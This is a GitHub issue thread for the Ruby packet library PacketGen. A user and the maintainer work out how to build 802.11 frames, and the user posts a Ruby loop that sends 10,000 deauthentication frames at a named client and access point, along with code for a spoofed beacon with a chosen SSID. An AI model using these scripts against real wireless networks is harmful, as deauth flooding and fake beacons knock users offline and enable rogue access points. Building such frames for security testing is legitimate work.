-
Notifications
You must be signed in to change notification settings - Fork 11
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Sending Deauth packet #55
Comments
There are more examples in API documentation. See http://www.rubydoc.info/gems/packetgen/PacketGen/Header/. But, infortunately, there is no example for Dot11::DeAuth. I'm currently working on making a better documentation (see wiki). Dot11 classes will be done with high priority. |
Not off topic: @sdaubert Is probably one of my favorite developers ever. ❤️ |
@KINGSABRI Dot11 is quite special in PacketGen. You have to instanciate a subclass (here a pkt = PacketGen.gen('Dot11::Management', mac1: dstaddr, mac2: srcaddr, mac3: bssid).add('Dot11::DeAuth', reason: reason_code) You also may want to add radio header: pkt = PacketGen.gen('RadioTap').add('Dot11::Management', mac1: dstaddr, mac2: srcaddr, mac3: bssid).add('Dot11::DeAuth', reason: reason_code) Before sending such a packet on wire, don't forget to compute checksum: pkt.calc_checksum |
Hello @sdaubert require 'packetgen'
iface, bssid, client, count = [ 'mon0', '2C:AB:00:A9:6C:64', '98:F1:70:95:D1:63', 10000 ]
pkt = PacketGen.gen('RadioTap').add('Dot11::Management', mac1: client, mac2: bssid, mac3: bssid).add('Dot11::DeAuth', reason: 7)
#pkt = PacketGen.gen('RadioTap').add('Dot11::Management', type: 0, subtype: 12, mac1: client, mac2: bssid, mac3: bssid).add('Dot11::DeAuth', reason: 7).to_w(iface)
pkt.calc_checksum
count.times do
pkt.to_w(iface)
puts 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + ' for Client: ' + client
sleep 0.1
end I've tested the same scenario with
|
Another case I'm working on is creating a fake beacon as in scapy
but in PacketGen pkt = PacketGen.gen('RadioTap')
.add('Dot11::Management', mac1: broadcast, mac2: bssid, mac3: bssid)
.add('Dot11::Beacon', cap: 0x0431)
.add('Dot11::Element', type: 0, value: ssid)
.add('Dot11::Element', type: 1, value: "\x82\x84\x8b\x96\x12\x24\x48\x6c")
.add('Dot11::Element', type: 3, value: "\x06")
.add('Dot11::Element', type: 5, value: "\x00\x01\x00\x00") I'm getting
I'm trying to add more Elements to the Beacon |
Well after more and more troubleshooting in Deauth case I found that there is nothing has been sent to the wire! |
@KINGSABRI I think nothing has been sent on wire because RadioTap header is not set. But, it seems to me you don't need to add a RadioTap header: driver should do it for you. Unfortunately, I can't verify that : my laptop is broken and I have no wifi on my PC. |
@KINGSABRI about Elements. Well, Elements are not headers. And i do nothing to help using them. You have to instanciate and add them by hand: pkt = PacketGen.gen('Dot11::Management', mac1: broadcast, mac2: bssid, mac3: bssid).
add('Dot11::Beacon', cap: 0x0431)
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new(type: 0, value: ssid)
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new( type: 1, value: "\x82\x84\x8b\x96\x12\x24\x48\x6c") Thanks to you, I see that I have still some work 😃 |
pkt = PacketGen.gen('Dot11::Management', mac1: client, mac2: bssid, mac3: bssid).add('Dot11::DeAuth', reason: 7)
pkt.calc_checksum
pkt.to_w(iface) error
I followed your code but getting error
my code pkt = PacketGen.gen('Dot11::Management', mac1: broadcast, mac2: bssid, mac3: bssid).add('Dot11::Beacon', cap: 0x0431)
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new(type: 0, value: ssid)
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new(type: 1, value: "\x82\x84\x8b\x96\x12\x24\x48\x6c")
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new(type: 3, value: "\x06")
pkt.dot11_beacon.elements << PacketGen::Header::Dot11::Element.new(type: 5, value: "\x00\x01\x00\x00")
pkt.calc_checksum
pkt.to_w |
You've done a great job already, man. I believe you need
pkt.dot11_beacon.add_element(type: 0, value: ssid) Or pkt = PacketGen.gen('Dot11::Management', mac1: broadcast, mac2: bssid, mac3: bssid).add('Dot11::Beacon', cap: 0x0431).add_element('Dot11::Element', type: 0, value: ssid) |
Yes, I planned something like that yesterday. |
As I have no mean to test, please could you test, on erroneous line:
instead of
FCS is already computed by |
@sdaubert Good news and bad news pkt = PacketGen.gen('Dot11::Management', mac1: client, mac2: bssid, mac3: bssid).add('Dot11::DeAuth', reason: 7) No RadioTap header, if I add the RadioTap header, nothing gets sent. |
regarding to the creating a fake beacon , nothing changed, no packets sent |
@KINGSABRI Do you have an ethernet interface? Packet#to_w sends on first network interface, which is, usually, an ethernet one. To send your Dot11 packet on your wifi card, you should have to specify your network interface, by example: pkt.to_w('wlan0') |
I've done that, my wireless is I tried it on both scenarios |
@KINGSABRI i have opened a new issue for this problem : #56 |
Doc has been updated. See https://github.com/sdaubert/packetgen/wiki/wifi. API documentation has also been updated (not yet available on http://www.rubydoc.info/gems/packetgen/PacketGen/Header/Dot11.html, will be on next release) |
Hello guys
I see you have done a tremendous work in
packetgen
however I believe that more examples are needed for each header to use.I was looking for sending Dot11 DeAuth packet and I couldn't make it using the available docs.
My suggestion is to make one or more practical example for each header as you've done with manipulate packets part.
Thanks again for the great effort
The text was updated successfully, but these errors were encountered: